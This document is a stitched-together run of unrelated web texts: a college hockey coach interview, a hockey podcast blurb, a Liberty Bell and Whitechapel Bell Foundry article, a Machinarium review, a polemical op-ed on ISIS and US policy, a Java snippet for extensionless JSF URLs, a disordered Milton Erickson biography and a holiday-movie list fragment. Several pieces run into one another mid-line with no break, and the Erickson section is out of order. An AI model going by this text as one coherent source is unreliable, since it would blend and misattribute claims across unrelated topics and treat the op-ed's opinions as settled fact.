RB: The scouting credit really has to go to the current staff, Joe Dumais and Jason Tapp. These are the guys who do about 90% of the recruiting. I do what I can in the summers and when I am free but these are the guys who go out and do most of the work.
What do you guys look for when recruiting players?
RB: We look first for tremendous character, and then we look for a guy who loves to compete. Obviously we look into skill and speed. But the top 3 I can think of is character, compete and hockey sense for the 1,2,3.
And how do you judge character?
RB: We do a lot of homework on our players. Our staff goes out there to watch the players directly, records the games for us to re-watch as well. There is a lot of trust that goes into our coaching staff. We are going into our 5th year as a coaching staff and we are really on the same page now.
We have to really just ask ourselves, can we coach this player?
What are the biggest challenges for these student-athletes?
RB: A big hurdle for the student-athletes is to manage two full-time jobs. They have school and hockey! It takes time management to be the best at both and for those who figure it out quickly, their grades and hockey do not suffer.
What are the toughest aspects of being an NCAA coach?
RB: We are in a bit of a tough time with NCAA rules. There are only so many hours we can work with our players. With school, hockey and the player’s own training; there are only so many things you can throw at these guys and the NCAA understands that.
The players are responsible for their training? Do you have any Strength and Conditioning coaches for the team?
RB: A lot of the strength and conditioning work though is relied on the players but we do have things in place for them. We have a whole athletics program here at Union that includes strength and conditioning coaches so players can work on their lifting.
When does the NCAA season start [A bit late on this interview, eh?] and what is it like?
October 3rd is our first game and we typically have 2 games at the end of the week. The NCAA has a requirement of 34 games, and if you wish to play more than we like to say it is really up to you.
What is the best part of any season?
The preparation, practice and games make for an interesting ride!
What is a typical day like for Rick Bennett?
We [himself and his coaching staff] like to get in early; at least that’s how we like to do it. Tackle the e-mails first and take care of clerical details to get it out of the away. We talk among a coaching staff about what drills we will focus on at practice. We then wait for the players, discuss some things at film and then we hit the ice.
And who are your staff members? What are they responsible for?
Joe Dumais is our Associative Coach, and Jason Tapp is our Assistant Coach. Jason has been here for 5 years, plus he was an voluntary assistant coach before that. Dumais works with the forwards, helps Jason with the penalty kill and works a lot with the power-play. Chris Horn is our new voluntary assistant coach and Ian Greenwald is our hockey operations coordinator.
Season is not too far away anymore, when does it officially begin and what is the season schedule like?
Season starts on October 3rd, we have 2-games a week. There are a required 34 games by the NCAA. Everyone in our conference [ECAC] makes the playoffs. After the [required] 34 games, the rest of the schedule is really up to you, so we like to say. Different programs do different things but we have only 20 hours a week to practice with our team and that includes a mandatory 1-day off. Our coaches like to meet throughout the week with and without the players, but we all understand we have families and there is only so much you can do.
Does not seem like an awful lot of time with the whole team especially with 2 games per week. How are game days?
Players will have their own routine. As far as coaching, we are here in the mornings and we are just trying to get ready. We meet with and without the players at various times in the day. We spend the time reviewing the game plan, the opponent, and next thing you know the game is upon us.
And what about traveling for the away games?
We try to head out the day before, we practice early morning and watch film mid-day of a Friday game. A lot of traveling occurs throughout the season, sometimes bus and sometimes by plane. This year especially it seems we will be doing a lot of flying but luckily we have an airport not too far away.
What is the Union hockey experience like? What is a must see game this season?
The Union College hockey experience at a home game is one of the best in college hockey. The Frank Messa Rink at Achilles Center provides a college like atmosphere that is loud and fan friendly for viewing the game. As for math-ups… RPI is a must see!
[RPI visits Union on October 30, 2015 - you can view the whole Union schedule right here - Union Schedule]
Awesome! Though your record may prove otherwise over the last few years, Union is not exactly known for being a big hockey program. How do you compete against the bigger hockey schools like Boston College and Minnesota?
When we go up against the so-called top schools, it comes to down to the recruiting. First and foremost though, you have to believe you are on that level. Also, today the parody in the college hockey has shifted and anyone can lose on any given night. We build our program with a core of guys, who are full of strong character, love to compete and have a strong hockey sense.
Any specific system you follow or game plan that Union likes to focus on?
No specific system but most importantly we like to focus on ourselves and not the opponent. The reality is the winning team is the team that executes better than the other. We just make sure that the players are ready to compete but you’re going to have a long year if you have to try and fire up your team before every single game. We have a staff we trust, and we know how to work with the players.
Are there any coaches you look up to during your job?
The coaches I learned the most from were tough and didn’t need to say a whole lot to get their message across. If I had to pick two - Coach Mike McShane in college and John Paddock |
Gulls In Flight, your weekly San Diego Gulls Hockey Club podcast, returns with a midseason report on the San Diego Gulls! Join your host Craig Elsten from San Antonio, Texas, where the Gulls have embarked on a week-long Lone Star State road trip. Craig catches you up on the latest news surrounding the Gulls, and veteran center Chris Mueller joins the podcast for a quick interview on the team’s recent struggles. Then, our featured guest is the Gulls’ President of Business Operations, Ari Segal. Craig and Ari discuss all that’s transpired over the course of the American Hockey League season for San Diego at the halfway point, reliving the madcap season opener, discussing arena issues as well as what the Gulls are planning on accomplishing in the season’s second half. Tune in for your one-stop shop for all things Gulls hockey-related, Gulls In Flight #13: Ari Segal!
Gulls In Flight: Ari Segal 1090 Off the Air
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commentsOn September 16, 1777, a convoy of wagons traveled 75 miles from Philadelphia to Allentown, Pennsylvania, with an escort of 200 members of the North Carolina and Virginia cavalries. The journey took nine days. At its end, men lifted their precious cargo from layers of potato sacks: twelve bells, including what would later be known as the Liberty Bell.
The British were coming to Philadelphia, and Pennsylvania’s Congress (a separate body from the Continental Congress) didn’t want the invaders taking the bells. They stayed hidden in an Allentown church basement until the summer of 1778, when the British occupation of Philadelphia ended. The bells’ costly bronze metal could have been recast as weaponry, but of far greater value was their sound, a music that carried history, authority, urgency and celebration.
East London’s Whitechapel Bell Foundry Ltd., a company nearly five centuries old, cast many of these colonial voices, including the 12 bells stashed during the Revolutionary War. In a statement released on December 1, the Foundry announced that within the next six months, it would stop its operations on Whitechapel Road, its home since 1738. Owner Alan Hughes, whose family has owned the foundry for more than a century, has sold the property and is considering “the future direction, ownership, and location of the company.”
It's an abrupt shift for a company that's been in business since approximately 1570—and perhaps even earlier. Through the centuries, the foundry has sent bells from Saint Petersburg to Sydney and welcomed generations of the royal family to witness its craftsmanship. In London alone, its handiwork tolls from Westminster Abbey, St. Paul’s Cathedral, and the Palace of Westminster.
The foundry, which declined to be interviewed for this article, told the Wall Street Journal that the decision is the result of “the deterioration of business conditions over many years.” Demand for large church bells is down and costs are up: In 2014, Hughes said that a major bell project could cost as much as £250,000 (over $316,000).
Though the foundry is perhaps best known for casting Big Ben (the bell that rings from the Palace of Westminster's iconic tower), it also helped create the most famous sounds of 18th-century America. It sent at least 27 bells to the colonies during the 1700s alone. A document at Christ Church, Philadelphia, where Benjamin Franklin and other forefathers worshiped, lists a 1702 bell made for the church as the earliest. Fifty years later, the Liberty Bell (first called the State House Bell) arrived, and then, in 1754, a peal of eight bells for Christ Church. Other bells made their way to churches in Williamsburg, Virginia, Charleston, South Carolina, and New York City.
In 1751, Pennsylvania statesman Isaac Norris II commissioned Whitechapel’s most famous American bell to hang from the State House (now Independence Hall). Upon arrival from London, the “State House Bell,” as it was then called, cracked during a sound test, so Philadelphia bell founders Pass and Stowe melted and recast it.
The State Bell became the “Liberty Bell” when 19th-century abolitionists adopted it as a symbol of their cause. Gary Nash, professor of history at UCLA, says that “bell worship predated flag worship." The bell “was by far the one material thing that Americans identified with,” he writes—in part because of the seven national road trips it took to promote national solidarity between 1885 and 1915. After the Civil War, writes Nash, the bell became a symbol of national reconciliation. At each stop on its 1885 trip through the South, he adds, “people surged forward to touch, stroke, or kiss the bell.”
Though the Liberty Bell became a powerful symbol of national unity, it's as famous for its fragility as for its strength. Though it's not entirely certain how the bell became damaged, the foundry suspects its brittle metal may have cracked when rung while in contact with its frame or fittings. Regardless of the reason, the Liberty Bell has not tolled for over 100 years.
The foundry has used the same bell founding technique since the 16th century. For each bell, workers craft two molds from “loam”—a mixture of animal hair, sand, clay, recycled loam, manure and water. The inner mold, “the core,” and the outer mold, “the cope,” are baked to harden, inscribed, coated with graphite and clamped together. Bell metal, an alloy of copper and tin, is heated to over 2,100 degrees Fahrenheit and poured into the mold. When the bell cools, craftsmen break the mold, “skirt” or smoothen the edges, and tune it.
A few blocks away from the Liberty Bell, what some call its “sister bell” regularly rings in the Christ Church steeple. It is called “the tenor” because it is the largest in the peal cast by Whitechapel for the church in 1754. At slightly over 2,000 lbs, it shares the same specifications as the Liberty Bell. When this bell cracked during the winter of 1834, the church sent it back to London for recasting. According to Bruce Gill, a Christ Church vestryman and local historian, this bell’s ring “is the closest we’ll ever get to what the Liberty Bell sounds like.” In the 18th century, the Liberty Bell and the Christ Church bells rang together, most notably on July 8, 1776, when their toll announced the first public reading of the Declaration of Independence.
“A bell was a pre-modern communication device,” says George Boudreau of La Salle University, author of Independence: A Guide to Historic Philadelphia. “Bells were the way the community expressed itself, its political urgency, its faith.” Even today, he points out, bells around the world “express the necessary act of a people,” encouraging them to celebrate when a pope is elected or mourn when a leader has died.
Neil Ronk, senior historian and tour guide for Christ Church, says the eight bells in the 18th-century church steeple have seen America at its best and its worst. He often takes visiting students and families to the back of the sanctuary to touch and occasionally ring the 1702 bell. It's one of just 13 of the 27 bells sent by Whitechapel Bell Foundry to America in the 1700s that still survives.
“There is nothing more fun than having an auditory and tangible history,” says Ronk. When students realize they are hearing the same bell that Thomas Jefferson heard, says Ronk, they feel a deeper connection to history. “Bell ringing is a proxy for an idea that is important.”
Perhaps the best example of this sentiment is another from the modern era. In 2002, the Mayor of London and the Archbishop of Canterbury presented the “Bell of Hope,” cast at the Whitechapel Bell Foundry, as a gift to New York in the aftermath of the 2001 tragedy. Every year, on September 11, it rings during a ceremony from the churchyard of St Paul’s Chapel, evoking American history in a way only its most treasured bells can.Machinarium wastes no time at all getting you familiar with its world, dropping you directly into the action without any form of introduction. You're a robot who has been trapped in some sort of prison-like facility and you need to escape. That's all you know. There is no exposition at all—largely because there is no actual dialog in the game—so the bits of story you do pick up throughout the adventure are sparse but meaningful.
Though initially appearing to be nothing more than a cute adventure starring quirky robots, the game slowly reveals itself to be a touching tale of separated lovers and a crumbling society straining underneath an oppressive leadership. Think of it as Wall-E meets 1984 with a steampunk makeover.
Of course, since there is no written or spoken dialog—character interactions are conveyed solely through animations and thought bubbles—the story can be easy to miss, so it's not entirely mandatory. But for those who take the time, there is much to enjoy. The world created by Amanita Design feels undeniably real. You'll see elderly robots heading to church and musicians playing in the street. Flies pester a bartender while robotic cats snooze on rooftops. And when the main character stands still for too long, he begins to daydream about his missing girlfriend.
Title Machinarium Developer Amanita Design Publisher Amanita Design Price $17 Platform PC (reviewed), Mac
But while the story is what will keep you interested as the game moves along, the visuals are what will grab you. Machinarium sports an absolutely stunning art style, with completely hand-drawn characters and backgrounds that are packed with detail and personality. The various robots you encounter are all distinct, as are the various different areas, which makes the idea of exploring that much more enticing. And with the smooth character animations, the game looks, moves, and feels like a top-tier animated movie.
The same goes for the soundtrack in the game, which features subtle, ambient music and sound effects that feel very organic.
When it comes to actually playing the game, though, things are pretty straightforward. Machinarium is a point-and-click adventure through and through, though it's not without its own unique twists on the format. The majority of your time will be spent collecting items and solving various puzzles, which allow you progress to new areas where you can collect more items and solve more puzzles. There are also a few minigames to be encountered—including a full-blown Space Invaders clone—that help add some variety. But for the most part the gameplay is very traditional.
There are a number of very difficult problems to solve, but the frustration that this would normally induce is negated by a very clever hint system. At any time you can receive a hint that gives you a vague idea of what exactly it is you're supposed to be doing. If that's not enough, there is also an in-game walkthrough that outlines how to go about doing whatever it is you're supposed to be doing. It can be accessed at any point in the game, but there is a twist: each time you use the walkthrough, you first must complete a level of a simple 2D side-scrolling shooter. This forces you to do at least a little work for your hints, forcing you to think twice before immediately reaching for the easy answer to a problem.
Even though the gameplay is fairly standard, the presentation and story make this a game that's hard not to recommend. This is a world that's just begging to be explored, and one of the finest point-and-click adventures in recent memory.
Verdict: BuyWhatever your politics, you’re not likely to feel great about America right now. After all, there’s Ferguson (the whole world was watching!), an increasingly unpopular president, a Congress whose approval ratings make the president look like a rock star, rising poverty, weakening wages, and a growing inequality gap just to start what could be a long list. Abroad, from Libya and Ukraine to Iraq and the South China Sea, nothing has been coming up roses for the U.S. Polls reflect a general American gloom, with 71% of the public claiming the country is “on the wrong track.” We have the look of a superpower down on our luck.
What Americans have needed is a little pick-me-up to make us feel better, to make us, in fact, feel distinctly good. Certainly, what official Washington has needed in tough times is a bona fide enemy so darn evil, so brutal, so barbaric, so inhuman that, by contrast, we might know just how exceptional, how truly necessary to this planet we really are.
In the nick of time, riding to the rescue comes something new under the sun: the Islamic State of Iraq and Syria (ISIS), recently renamed Islamic State (IS). It’s a group so extreme that even al-Qaeda rejected it, so brutal that it’s brought back crucifixion, beheading, waterboarding, and amputation, so fanatical that it’s ready to persecute any religious group within range of its weapons, so grimly beyond morality that it’s made the beheading of an innocent American a global propaganda phenomenon. If you’ve got a label that’s really, really bad like genocide or ethnic cleansing, you can probably apply it to ISIS’s actions.
It has also proven so effective that its relatively modest band of warrior jihadis has routed the Syrian and Iraqi armies, as well as the Kurdish pesh merga militia, taking control of a territory larger than Great Britain in the heart of the Middle East. Today, it rules over at least four million people, controls its own functioning oil fields and refineries (and so their revenues as well as infusions of money from looted banks, kidnapping ransoms, and Gulf state patrons). Despite opposition, it still seems to be expanding and claims it has established a caliphate.
A Force So Evil You’ve Got to Do Something
Facing such pure evil, you may feel a chill of fear, even if you’re a top military or national security official, but in a way you’ve gotta feel good, too. It’s not everyday that you have an enemy your president can term a “cancer”; that your secretary of state can call the “face” of “ugly, savage, inexplicable, nihilistic, and valueless evil” which “must be destroyed”;that your secretary of defense can denounce as “barbaric” and lacking a “standard of decency, of responsible human behavior… an imminent threat to every interest we have, whether it’s in Iraq or anywhere else”; that your chairman of the joint chiefs of staff can describe as “an organization that has an apocalyptic, end-of-days strategic vision and which will eventually have to be defeated”; and that a retired general and former commander of U.S. forces in Afghanistan can brand a “scourge… beyond the pale of humanity [that]… must be eradicated.”
Talk about a feel-good feel-bad situation for the leadership of a superpower that’s seen better days! Such threatening evil calls for only one thing, of course: for the United States to step in. It calls for the Obama administration to dispatch the bombers and drones in a slowly expanding air war in Iraq and, sooner or later, possibly Syria. It falls on Washington’s shoulders to organize a new “coalition of the willing” from among various backers and opponents of the Assad regime in Syria, from among those who have armed and funded the extremist rebels in that country, from the ethnic/religious factions in the former Iraq, and from various NATO countries. It calls for Washington to transform Iraq’s leadership (a process no longer termed “regime change”) and elevate a new man capable of reuniting the Shiites, the Sunnis, and the Kurds, now at each other’s throats, into one nation capable of turning back the extremist tide. If not American “boots on the ground,” it calls for proxy ones of various sorts that the U.S. military will naturally have a hand in training, arming, funding, and advising. Facing such evil, what other options could there be?
If all of this sounds strangely familiar, it should. Minus a couple of invasions, the steps being considered or already in effect to deal with “the threat of ISIS” are a reasonable summary of the last 13 years of what was once called the Global War on Terror and now has no name at all. New as ISIS may be, a little history is in order, since that group is, at least in part, America’s legacy in the Middle East.
Give Osama bin Laden some credit. After all, he helped set us on the path to ISIS. He and his ragged band had no way of creating the caliphate they dreamed of or much of anything else. But he did grasp that goading Washington into something that looked like a crusader’s war with the Muslim world might be an effective way of heading in that direction.
In other words, before Washington brings its military power fully to bear on the new “caliphate,” a modest review of the post-9/11 years might be appropriate. Let’s start at the moment when those towers in New York had just come down, thanks to a small group of mostly Saudi hijackers, and almost 3,000 people were dead in the rubble. At that time, it wasn’t hard to convince Americans that there could be nothing worse, in terms of pure evil, than Osama bin Laden and al-Qaeda.
Establishing an American Caliphate
Facing such unmatchable evil, the United States officially went to war as it might have against an enemy military power. Under the rubric of the Global War on Terror, the Bush administration launched the unmatchable power of the U.S. military and its paramilitarized intelligence agencies against… well, what? Despite those dramatic videos of al-Qaeda training camps in Afghanistan, that organization had no military force worth the name, and despite what you’ve seen on “Homeland,” no sleeper cells in the U.S. either; nor did it have the ability to mount follow-up operations any time soon.
In other words, while the Bush administration talked about “draining the swamp” of terror groups in up to 60 countries, the U.S. military was dispatched against what were essentially will-o’-the-wisps, largely representing Washington’s own conjured fears and fantasies. It was, that is, initially sent against bands of largely inconsequential Islamic extremists, scattered in tiny numbers in the tribal backlands of Afghanistan or Pakistan and, of course, the rudimentary armies of the Taliban.
It was, to use a word that George W. Bush let slip only once, something like a “crusade,” something close to a religious war, if not against Islam itself — American officials piously and repeatedly made that clear — then against the idea of a Muslim enemy, as well as against al-Qaeda and the Taliban in Afghanistan, Saddam Hussein in Iraq, and later Muammar Gaddafi in Libya. In each case, Washington mustered a coalition of the willing, ranging from Arab and South or Central Asian states to European ones, sent in air power followed twice by full-scale invasions and occupations, mustered local politicians of our choice in major “nation-building” operations amid much self-promotional talk about democracy, and built up vast new military and security apparatuses, supplying them with billions of dollars in training and arms.
Looking back, it’s hard not to think of all of this as a kind of American jihadism, as well as an attempt to establish what might have been considered an American caliphate in the region (though Washington had far kinder descriptive terms for it). In the process, the U.S. effectively dismantled and destroyed state power in each of the three main countries in which it intervened, while ensuring the destabilization of neighboring countries and finally the region itself.
In that largely Muslim part of the world, the U.S. left a grim record that we in this country generally tend to discount or forget when we decry the barbarism of others. We are now focused in horror on ISIS’s video of the murder of journalist James Foley, a propaganda document clearly designed to drive Washington over the edge and into more active opposition to that group.
We, however, ignore the virtual library of videos and other imagery the U.S. generated, images widely viewed (or heard about and discussed) with no less horror in the Muslim world than ISIS’s imagery is in ours. As a start, there were the infamous “screen saver” images straight out of the Marquis de Sade from Abu Ghraib prison. There, Americans tortured and abused Iraqi prisoners, while creating their own iconic version of crucifixion imagery. Then there were the videos that no one (other than insiders) saw, but that everyone heard about. These, the CIA took of the repeated torture and abuse of al-Qaeda suspects in its “black sites.” In 2005, they were destroyed by an official of that agency, lest they be screened in an American court someday. There was also the Apache helicopter video released by WikiLeaks in which American pilots gunned down Iraqi civilians on the streets of Baghdad (including two Reuters correspondents), while on the sound track the crew are heard wisecracking. There was the video of U.S. troops urinating on the bodies of dead Taliban fighters in Afghanistan. There were the trophy photos of body parts brought home by U.S. soldiers. There were the snuff filmsof the victims of Washington’s drone assassination campaigns in the tribal backlands of the planet (or “bug splat,” as the drone pilots came to call the dead from those attacks) and similar footage from helicopter gunships. There was the bin Laden snuff film video from the raid on Abbottabad, Pakistan, of which President Obama reportedly watched a live feed. And that’s only to begin to account for some of the imagery produced by the U.S. since September 2001 from its various adventures in the Greater Middle East.
All in all, the invasions, the occupations, the drone campaigns in several lands, the deaths that ran into the hundreds of thousands, the uprooting of millions of people sent into external or internal exile, the expending of trillions of dollars added up to a bin Laden dreamscape. They would prove jihadist recruitment tools par excellence.
When the U.S. was done, when it had set off the process that led to insurgencies, civil wars, the growth of extremist militias, and the collapse of state structures, it had also guaranteed the rise of something new on Planet Earth: ISIS — as well as of other extremist outfits ranging from the Pakistani Taliban, now challenging the state in certain areas of that country, to Ansar al-Sharia in Libya and al-Qaeda in the Arabian Peninsula in Yemen.
Though the militants of ISIS would undoubtedly be horrified to think so, they are the spawn of Washington. Thirteen years of regional war, occupation, and intervention played a major role in clearing the ground for them. They may be our worst nightmare (thus far), but they are also our legacy — and not just because so many of their leaders came from the Iraqi army we disbanded, had their beliefs and skills honed in the prisons we set up (Camp Bucca seems to have been the West Point of Iraqi extremism), and gained experience facing U.S. counterterror operations in the “surge” years of the occupation. In fact, just about everything done in the war on terror has facilitated their rise. After all, we dismantled the Iraqi army and rebuilt one that would flee at the first signs of ISIS’s fighters, abandoning vast stores of Washington’s weaponry to them. We essentially destroyed the Iraqi state, while fostering a Shia leader who would oppress enough Sunnis in enough ways to create a situation in which ISIS would be welcomed or tolerated throughout significant areas of the country.
The Escalation Follies
When you think about it, from the moment the first bombs began falling on Afghanistan in October 2001 to the present, not a single U.S. military intervention has had anything like its intended effect. Each one has, in time, proven a disaster in its own special way, providing breeding grounds for extremism and producing yet another set of recruitment posters for yet another set of jihadist movements. Looked at in a clear-eyed way, this is what any American military intervention seems to offer such extremist outfits — and ISIS knows it.
Don’t consider its taunting video of James Foley’s execution the irrational act of madmen blindly calling down the destructive force of the planet’s last superpower on themselves. Quite the opposite. Behind it lay rational calculation. ISIS’s leaders surely understood that American air power would hurt them, but they knew as well that, as in an Asian martial art in which the force of an assailant is used against him, Washington’s full-scale involvement would also infuse their movement with greater power. (This was Osama bin Laden’s most original insight.)
It would give ISIS the ultimate enemy, which means the ultimate street cred in its world. It would bring with it the memories of all those past interventions, all those snuff videos and horrifying images. It would help inflame and so attract more members and fighters. It would give the ultimate raison d’être to a minority religious movement that might otherwise prove less than cohesive and, in the long run, quite vulnerable. It would give that movement global bragging rights into the distant future.
ISIS’s urge was undoubtedly to bait the Obama administration into a significant intervention. And in that, it may prove successful. We are now, after all, watching a familiar version of the escalation follies at work in Washington. Obama and his top officials are clearly on the up escalator. In the Oval Office is a visibly reluctant president, who undoubtedly desires neither to intervene in a major way in Iraq (from which he proudly withdrew American troops in 2011 with their “heads held high”), nor in Syria (a place where he avoided sending in the bombers and missiles back in 2013).
Unlike the previous president and his top officials, who were all confidence and overarching plans for creating a Pax Americana across the Greater Middle East, this one and his foreign policy team came into office intent on managing an inherited global situation. President Obama’s only plan, such as it was, was to get out of the Iraq War (along lines already established by the Bush administration). It was perhaps a telltale sign then that, in order to do so, he felt he had to “surge” American troops into Afghanistan. Five and a half years later, he and his key officials still seem essentially plan-less, a set of now-desperate managers engaged in a seat-of-the-pants struggle over a destabilizing Greater Middle East (and increasingly Africa and the borderlands of Europe as well).
Five and a half years later, the president is once again under pressure and being criticized by assorted neocons, McCainites, and this time, it seems, the military high command evidently eager to be set loose yet one more time to take out barbarism globally — that is, to up the ante on a losing hand. As in 2009, so today, he’s slowly but surely giving ground. By now, the process of “mission creep” — a term strongly rejected by the Obama administration — is well underway.
It started slowly with the collapse of the U.S.-trained and U.S.-supplied Iraqi army in Mosul and other northern Iraqi cities in the face of attacks by ISIS. In mid-June, the aircraft carrier USS H.W. Bush with more than 100 planes was dispatched to the Persian Gulf and the president sent in hundreds of troops, including Special Forces advisers (though officially no “boots” were to be “on the ground”). He also agreed to drone and other air surveillance of the regions ISIS had taken, clearly preparation for future bombing campaigns. All of this was happening before the fate of the Yazidis — a small religious sect whose communities in northern Iraq were brutally destroyed by ISIS fighters — officially triggered the commencement of a limited bombing campaign suitable to a “humanitarian crisis.”
When ISIS, bolstered by U.S. heavy weaponry captured from the Iraqi military, began to crush the Kurdish pesh merga militia, threatening the capital of the Kurdish region of Iraq and taking the enormous Mosul Dam, the bombing widened. More troops and advisers were sent in, and weaponry began to flow to the Kurds, with promises of all of the above further south once a new unity government was formed in Baghdad. The president explained this bombing expansion by citing the threat of ISIS blowing up the Mosul Dam and flooding downriver communities, thus supposedly endangering the U.S. Embassy in distant Baghdad. (This was a lame cover story because ISIS would have had to flood parts of its own “caliphate” in the process.)
The beheading video then provided the pretext for the possible bombing of Syria to be put on the agenda. And once again a reluctant president, slowly giving way, has authorized drone surveillance flights over parts of Syria in preparation for possible bombing strikes that may not be long in coming.
The Incrementalism of the Reluctant
Consider this the incrementalism of the reluctant under the usual pressures of a militarized Washington eager to let loose the dogs of war. One place all of this is heading is into a morass of bizarre contradictions involving Syrian politics. Any bombing of that country will necessarily involve implicit, if not explicit, support for the murderous regime of Bashar al-Assad, as well as for the barely existing “moderate” rebels who oppose his regime and to whom Washington may now ship more arms. This, in turn, could mean indirectly delivering yet more weaponry to ISIS. Add everything up and at the moment Washington seems to be on the path that ISIS has laid out for it.
Americans prefer to believe that all problems have solutions. There may, however, be no obvious or at least immediate solution when it comes to ISIS, an organization based on exclusivity and divisiveness in a region that couldn’t be more divided. On the other hand, as a minority movement that has already alienated so many in the region, left to itself it might with time simply burn out or implode. We don’t know. We can’t know. But we do have reasonable evidence from the past 13 years of what an escalating American military intervention is likely to do: not whatever it is that Washington wants it to do.
And keep one thing in mind: if the U.S. were truly capable of destroying or crushing ISIS, as our secretary of state and others are urging, that might prove to be anything but a boon. After all, it was easy enough to think, as Americans did after 9/11, that al-Qaeda was the worst the world of Islamic extremism had to offer. Osama bin Laden’s killing was presented to us as an ultimate triumph over Islamic terror. But ISIS lives and breathes and grows, and across the Greater Middle East Islamic extremist organizations are gaining membership and traction in ways that should illuminate just what the war on terror has really delivered. The fact that we can’t now imagine what might be worse than ISIS means nothing, given that no one in our world could imagine ISIS before it sprang into being.
The American record in these last 13 years is a shameful one. Do it again should not be an option.An extensionless URL is a URL without a final suffix like, etc. Such a suffix is seen as technical "clutter" that's hard to remember for humans. Servers often need it though to route a request to the right controller.
JSF, a Java EE MVC framework, has supported extensionless URLs for some time via PrettyFaces (now merged to the general Rewrite framework) and OmniFaces. Both of these solutions used various workarounds to trick JSF into working with extensionless URLs.
Though JSF 2.3 does, unfortunately, still not support extensionless URLs fully out of the box via e.g. a single parameter, it can provide support for it by basically combining the new support for exact mapping and the API for obtaining a list of all view resources. Additionally combining this with the Servlet 3.1 feature for dynamically adding Servlet mappings and some JDK8 streaming and lambdas, makes it possible to enable extensionless support with just 2 statements (albeit somewhat long statements):
@WebListener public class MappingInit implements ServletContextListener { @Override public void contextInitialized(ServletContextEvent sce) { FacesContext context = FacesContext.getCurrentInstance(); sce.getServletContext().getServletRegistrations().values().stream().filter(e -> e.getClassName().equals(FacesServlet.class.getName())).findAny().ifPresent( reg -> context.getApplication().getViewHandler().getViews(context, "/", RETURN_AS_MINIMAL_IMPLICIT_OUTCOME).forEach(e -> reg.addMapping(e))); } }
What the above code does is finding the existing FacesServlet, then getting all views for the entire application in a form that happens to be exactly suitable for extensionless URLs, and then adding each of them as mapping to the FacesServlet we previously found.
After adding the above shown WebListener to an application, its view can be requested via URLs like example.com/login, example.com/users/all etc.
The example was tested on Payara Server 5, of which a snapshot can be downloaded from the snapshot repository. An initial alpha will be released very soon, but in the mean time the latest version can be downloaded here:
payara-5.0.0.173-SNAPSHOT.zip.
Arjan TijmsIn 1973, Jay Haley published Uncommon Therapy, which for the first time brought Erickson and his approaches to the attention of those outside the clinical hypnosis community. Erickson's fame and reputation spread rapidly, and so many people wished to meet him that he began holding teaching seminars, which continued until his death.
In the early 1950s, anthropologist/cyberneticist Gregory Bateson involved Erickson as a consultant as part of his extensive research on communication. The two had met earlier, after Bateson and Margaret Mead had called upon him to analyse the films Mead had made of trance states in Bali. Through Bateson, Erickson met Jay Haley, Richard Bandler and John Grinder, amongst others, and had a profound influence on them all. They went on to write several books about him.
Much later, in his fifties, he developed post-polio syndrome, characterized by pain and muscle weakness caused by the chronic over-use of partially paralyzed muscles. The condition left him even more severely paralyzed, but, having been through the experience once before, he now had a strategy for recovering some use of his muscles which he employed again. After this second recovery, he was obliged to use a wheelchair and suffered chronic pain.
Erickson was an avid medical student, and he was so curious about, and engaged with, psychiatry that he obtained a psychology degree while he was still studying medicine.
He began to recall "body memories" of the muscular activity of his own body. By concentrating on his memories, he slowly learned to tweak his muscles to regain control of parts of his body to the point where he was eventually able to talk and use his arms. Still unable to walk, he decided to train his body further by embarking - alone - on a thousand-mile canoe trip with only a few dollars. After this grueling trip, he was able to walk with a cane. This experience may have contributed to Erickson's technique of using "ordeals" in a therapeutic context (see below).
Erickson grew up in Lowell, Wisconsin, in a modest farming family and intended to become a farmer like his father. He was a late developer and was both dyslexic and color blind. He overcame his dyslexia and had many other inspirations via a series of spontaneous autohypnotic "flashes of light" or "creative moments", as described in the paper Autohypnotic Experiences of Milton H. Erickson. [2]
Erickson was largely self-taught, and his biography was noted down by Sidney Rosen in the book My Voice Will Go With You. Erickson identified many of his earliest personal experiences as hypnotic or autohypnotic.
Erickson is noted for his often unconventional approach to psychotherapy, as described in the book Uncommon Therapy by Jay Haley and the book Hypnotherapy: An Exploratory Casebook, by Milton H. Erickson and Ernest L. Rossi (1979, New York: Irvington Publishers, Inc.). He developed an extensive use of therapeutic metaphor and story as well as hypnosis and coined the term brief therapy for his method of addressing therapeutic change in relatively few sessions.
Beginning in the 1950s, Erickson's use of interventions influenced strategic therapy and family systems therapy of practitioners including Virginia Satir and Jay Haley. He was noted for his ability to "utilize" anything about a patient to help them change, including their beliefs, favorite words, cultural background, personal history, or even their neurotic habits.
Through conceptualizing the unconscious as highly separate from the conscious mind, with its own awareness, interests, responses, and learnings, he taught that the unconscious mind was creative, solution-generating, and often positive.
He was an important influence on neuro-linguistic programming (NLP), which was in part based upon his working methods.[3]
Trance and the unconscious mind Edit
Erickson believed that the unconscious mind was always listening and that, whether or not the patient was in trance, suggestions could be made which would have a hypnotic influence, as long as those suggestions found resonance at the unconscious level. The patient could be aware of this or could be completely oblivious that something was happening. Erickson would see if the patient would respond to one or another kind of indirect suggestion and allow the unconscious mind to participate actively in the therapeutic process. In this way, what seemed like a normal conversation might induce a hypnotic trance, or a therapeutic change in the subject. According to Weitzenhoffer, "[Erickson's] conception of the unconscious is definitely not the one held by Freud."[4]
Erickson was an irrepressible practical joker,[5] and it was not uncommon for him to slip indirect suggestions into all kinds of situations, including in his own books, papers, lectures and seminars.[6] For example, a student arrived at one of the five-day intensive seminars he held in his home office near the end of his life. When Erickson asked why she had come, she replied frankly: "My teacher told me that I should come to see you before you died." Erickson smiled and said: "You tell him that dying is the last thing I intend to do."[citation needed] The group laughed at the pun. Then Erickson said, with a twinkle in his eye[citation needed], "Do you want to know how to avoid dying? Always wake up every morning. And do you want to know how to ensure that you will wake up every morning?", he continued, "Drink lots of liquids before you go to sleep!"[citation needed]
Erickson also believed that it was even appropriate for the therapist to go into trance.
I go into trances so that I will be more sensitive to the intonations and inflections of my patients' speech. And to enable me to hear better, see better.
Erickson maintained that trance is a common, everyday occurrence. For example, when waiting for buses and trains, reading or listening, or even being involved in strenuous physical exercise, it's quite normal |
holiday favorite. After all, everyone is home for Christmas, even if that’s beyond-secondary to the shenanigans happening at the forefront. Take for example the title, which refers to Everett’s (Mulroney) request for his grandmother’s wedding ring (the family stone)—which his mother Sybil (Keaton) begrudgingly parts with. In a way, it’s the catalyst for each subplot surrounding the Stone clan. Amid the slap-stick comedy and emotional fodder, though, it’s two Christmases that tie the movie together, showing a family changed for the better by the end of the film, which leaves viewers with the sort of warm and fuzzy feeling often associated with the holiday season. [Becca James]
5. An American Tail (1986)
